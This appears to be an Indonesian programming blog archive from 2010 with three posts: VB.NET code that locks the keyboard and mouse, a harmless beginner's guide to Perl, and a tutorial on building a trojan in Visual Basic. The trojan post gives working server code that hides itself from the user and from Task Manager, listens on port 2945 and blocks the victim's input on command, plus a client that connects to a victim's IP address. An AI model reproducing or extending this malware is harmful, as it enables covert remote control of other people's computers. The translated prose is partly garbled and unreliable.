Archive for ‘Programing’

August 6, 2010

LOCK KEYBOARD AND MOUSE USING VB

Kode ini akan mengunci Keyboard dan Mouse Menggunakan SendKeys function.Just compile dalam VB.NET.

‘ must have this in order to use the SendKeys function
Imports System.Windows.Forms

Public Class WinControl

‘ This is the function used in order to block the keyboard and mouse:
Declare Function BlockInput Lib “User32″ _
(ByVal fBlockIt As Boolean) As Boolean
‘ This function will block the keyboard and mouse untill a window with
‘ the specify caption will appear or the given time in seconds has
‘ past ( 0 seconds – wait forever).
‘ If the window with the caption appears than the given key is send
‘ to it and the input block is removed.
Public Shared Function Wait2Send(ByVal caption As String, _
ByVal keys As String, ByVal seconds As Integer)

‘ Indicates if the window with the given caption was found
Dim success As Boolean = False

‘ Start time of the function
Dim now As DateTime = DateTime.Now

‘ Begining of keyboard and mouse block
BlockInput(True)

While (success = False And (DateTime.Now.Subtract(now).Seconds _
< seconds Or seconds = 0))
Try
‘ Activating the window with desired function
‘ if the window is not found an exception is thrown.
AppActivate(caption)

‘ Sending desired key stroke to the application window
SendKeys.SendWait(keys)

‘ Indicates the window was found and keys sent
success = True

Catch
‘ Assuming window was not found and sleep for 100 miliseconds
System.Threading.Thread.Sleep(100)
End Try
End While
‘ Release the keyboard block
BlockInput(False)

End Function

End Class

August 6, 2010

Cara Belajar PROGRAM ‘Perl’

Dalam pemrograman komputer, Perl adalah tingkat-tinggi, untuk keperluan umum, ditafsirkan, bahasa pemrograman dinamis. Perl pada awalnya dikembangkan oleh Larry Wall, seorang ahli bahasa yang bekerja sebagai administrator sistem untuk NASA, tahun 1987, sebagai tujuan Unix umum bahasa scripting untuk membuat laporan easier.Perl pengolahan meminjam fitur dari bahasa pemrograman lain termasuk C, shell scripting (sh), AWK, sed bahasa dan Lisp.The menyediakan fasilitas pengolahan teks yang kuat tanpa batas panjang data arbitrer banyak alat Unix kontemporer, memfasilitasi mudah manipulasi file teks. Hal ini juga digunakan untuk pemrograman grafis, sistem administrasi, pemrograman jaringan, aplikasi yang memerlukan akses database dan program CGI di web. Perl dijuluki “yang gergaji Swiss Army bahasa pemrograman” karena fleksibilitas dan adaptability.Learning bahasa pemrograman seperti Perl bisa tampak cukup menakutkan. Ini adalah bahasa yang kompleks dan kuat, namun, ini tidak sulit untuk mengambil. Dengan tutorial yang benar dan bimbingan ahli di forum pemrograman, Anda akan berada di jalan untuk menulis kompleks dan bahkan menguntungkan Perl programs.Lets memulai ..

Langkah – langkah nya ada dibawah ini Bro…..

* Download dan menginstal interpreter Perl – ActivePerl merupakan pilihan yang baik bagi pengguna Windows. Jika Anda menggunakan Linux atau Mac OS X, Perl mungkin sudah terinstall pada sistem Anda. Untuk memeriksa, membuka terminal dan ketik perl-v ke baris perintah. Jika Anda mendapatkan pesan yang menyatakan versi dari Perl, maka Perl terinstal pada sistem Anda. Jika Anda mendapatkan “Perintah tidak ditemukan” kesalahan, Anda harus menginstal Perl diri Anda, baik dengan menginstal sebuah paket untuk sistem operasi Anda, atau dengan membangun dari sumber.
* Cari beberapa tutorial baik yang mengajarkan dasar-dasar Perl – Ada banyak buku dan referensi online yang akan mengajarkan dasar-dasar Perl. Belajar Perl merupakan pilihan yang baik bagi mereka yang tidak terbiasa dengan Perl, atau bahkan pemrograman pada umumnya. Orang yang sudah mengetahui dasar-dasar pemrograman mungkin ingin melihat Programming Perl, yang dirancang untuk mereka yang sudah berpengalaman programer. Programming Perl juga merupakan buku yang bagus untuk dibaca setelah membaca Belajar Perl.
* Baca dokumentasi – Selain dengan tutorial, Perl datang dengan banyak halaman senilai dokumentasi yang dapat diakses di dalam terminal dengan perintah perldoc. Anda juga dapat menelusuri dokumentasi online dengan mengunjungi http://perldoc.perl.org/
* Praktek! – Sayangnya, hanya membaca buku-buku tidak akan membuat Anda seorang programmer yang baik. Untuk benar-benar belajar Perl, Anda harus menulisnya. Banyak buku dan tutorial memiliki kode contoh untuk mencoba, serta latihan untuk memecahkan. Meski dapat membosankan menulis program sampel, hal ini membangun dasar yang baik teknik pemrograman yang lebih canggih dapat digunakan.
* Berikan kembali ke komunitas Perl – Salah satu cara terbaik untuk membantu orang-orang keluar dan meningkatkan kemampuan pemrograman Anda adalah memberikan kembali kepada komunitas Perl. Salah satu caranya adalah dengan menulis modul CPAN. Hal ini memungkinkan Anda untuk melepaskan modul Perl Anda ke seluruh dunia, membantu orang lain keluar dengan menulis perpustakaan yang membuat hidup mereka lebih mudah, dan belajar sedikit tentang kemasan perangkat lunak juga!

Tips

* Selain menjadi bahasa command-line, Perl juga dapat digunakan untuk menulis aplikasi Web (juga dikenal sebagai skrip CGI). Namun, ini memerlukan tambahan pengetahuan HTML, CGI, dan pemrograman server umum, sehingga tidak dibahas di sini.
* Ketika membaca tutorial, cobalah untuk tidak melompat di depan diri sendiri, jangan merasa kewalahan di blok kode yang panjang, pergi satu langkah pada satu waktu, dan fokus. Apakah contoh sampai Anda memahami mereka sebelum pindah.
* Have fun! Dibutuhkan waktu untuk menjadi benar-benar baik, sehingga kecepatan sendiri.
* Jika Anda benar-benar seperti bahasa dan ingin bertemu dengan programmer lokal lainnya, coba melihat apakah ada grup Perl aktif Mongers dekat kota asal Anda.
* Periksa perpustakaan setempat dan melihat apakah mereka memiliki buku Perl. Sejak buku pemrograman kadang-kadang dapat biaya $ 30-50, itu dapat menyimpan uang dalam jangka panjang.

woow lumayan kan….

nah sekarang download sendiri activate PERL nya.. hehehe…

August 6, 2010

Bikin Trojan dengan VB

Visual Basic adalah bahasa pemrograman mudah mudah bahwa sebagian besar programmer canggih bahkan tidak membandingkannya dengan raksasa seperti C / Pascal / C + + / PERL etc.But serius paket punch karena kemudahan dalam pemrograman dan standar Wikipedia Program Trojan di VBprocedures.Earlier menulis tentang cara untuk mengunci keyboard dan mouse dengan menggunakan VB. Kali ini saya akan membahas tentang bagaimana menulis sebuah trojan sederhana di VB. Menulis Trojan yang jauh lebih mudah daripada kebanyakan orang berpikir. Semua itu benar-benar melibatkan dua aplikasi sederhana baik dengan kurang dari 100 baris kode. Aplikasi pertama adalah klien atau program yang satu pengguna tahu tentang. Yang kedua adalah server atau trojan “sebenarnya” bagian. Sekarang saya akan melalui apa yang Anda butuhkan untuk kedua dan beberapa contoh kode.

Server
Server adalah bagian dari program Trojan. Anda biasanya akan ingin hal ini menjadi sebagai tersembunyi mungkin sehingga rata-rata pengguna tidak dapat menemukannya. Untuk melakukan ini, Anda mulai dengan menggunakan

Private Sub Form_Load()
Me.Visible = False
End Sub

Ini sedikit kode membuat program yang tak terlihat dengan mata telanjang. Sekarang kita semua tahu bahwa tugas manajer adalah peskier sedikit. Jadi, untuk mendapatkan aplikasi kita tersembunyi dari yang sedikit lebih baik kita membuat kode kita terlihat seperti ini.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

Jadi sekarang, kami memiliki program yang hampir terlihat oleh pengguna rata-rata, dan hanya mengambil empat baris kode. Sekarang semua Anda berpikir bahwa tutorial ini sekarang juga sucks sehingga memungkinkan membuatnya jauh lebih baik dengan menambahkan fungsi untuk kami Trojan!
Hal pertama yang ingin kita lakukan adalah membuatnya mampu mendengarkan koneksi ketika beban. Jadi untuk melakukan ini kita perlu menambahkan Winsock Control. Aku bernama kontrol saya menang, tetapi Anda bisa nama Anda apa yang pernah.

Sekarang untuk membuatnya mendengarkan pada port 2945 ketika dijalankan Trojan kita membuat kode kita terlihat seperti ini.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub

Kode ini akan mengatur port terbuka lokal untuk 2945 dan port yang mengirimkannya adalah 455. Jadi sekarang, kami memiliki program yang mendengarkan tetapi masih tidak melakukan apa pun rapi. Mari kita membuat blok masukan dari pengguna benar-benar ketika kita kirim ke!

Untuk melakukan hal licik kecil kita perlu menambahkan modul dengan kode berikut

Public Declare Function BlockInput Lib “user32″ (ByVal fBlock As Long) As Long

Kemudian kita menambahkan kode ini untuk membentuk :

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Kode dalam modul disebut windows API. Menggunakan file dll untuk melakukan tugas-tugas yang kita inginkan. Sekarang kode ini masih tidak akan memblokir masukan pengguna tetapi kami sangat dekat. Kita sekarang perlu program DoActions fungsi yang kita sebut pada form utama kami. Dalam kasus Anda bertanya-tanya kode yang kami tambahkan untuk membentuk melakukan dua hal yang berbeda. Sub pertama yang membuatnya begitu semua permintaan sambungan secara otomatis diterima. Sub kedua membuatnya jadi semua data secara otomatis diterima dan kemudian melewati semua data ke DoActions fungsi yang akan kita kode.

Untuk kode DoActions, kita ingin membuat fungsi publik pada modul. Jadi menambahkan kode ini untuk modul dan kita akan dilakukan dengan server dari Trojan!

Public Function DoActions(x As String)
Dim Action
Select Case x
Case “block”
Action = BlockInput(True)
End Select
End Function

Ok sekarang kami memiliki program yang saat data “blok” dikirim ke port 2945 akan memblokir input pengguna. Aku membuat pernyataan Select Case sehingga mudah untuk mengubah kode ini untuk kebutuhan Anda sendiri nantinya. Saya sarankan menambahkan fitur pemblokiran Anda sendiri. Untuk melakukan itu hanya memanggil fungsi BlockInput dengan argumen salah bukan benar.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Ingatlah untuk menambahkan kontrol winsock Anda dan nama untuk menang jika Anda menggunakan kode ini.

Itu semua ada di sisi server atau bagian Trojan itu. Sekarang ke Klien.

Klien

Klien akan menjadi apa Anda akan berinteraksi dengan. Anda akan menggunakannya untuk menyambung ke server jauh (trojan) dan kirim perintah. Karena kita membuat sebuah server yang menerima perintah dari “blok” memungkinkan membuat klien yang mengirim perintah “blok”.

Membuat formulir dan menambahkan Winsock Control, kotak teks, dan tiga tombol. Kotak Teks harus dinamai txtIP jika Anda ingin bekerja dengan kode ini. Selain itu, tombol Anda harus dinamai cmdConnect, cmdBlockInput, dan cmdDisconnect. Sekarang mari kita melihat kode tersebut akan kami gunakan untuk membuat Klien kami.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2945
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData “block”
End Sub

Itu adalah kode untuk klien. Semua hal ini adalah mendapatkan Alamat Ip dari txtIp dan terhubung ke remote pada port 2945. Kemudian ketika terhubung Anda dapat mengirim blok “” data ke blok dari masukan mereka.


Follow

Get every new post delivered to your Inbox.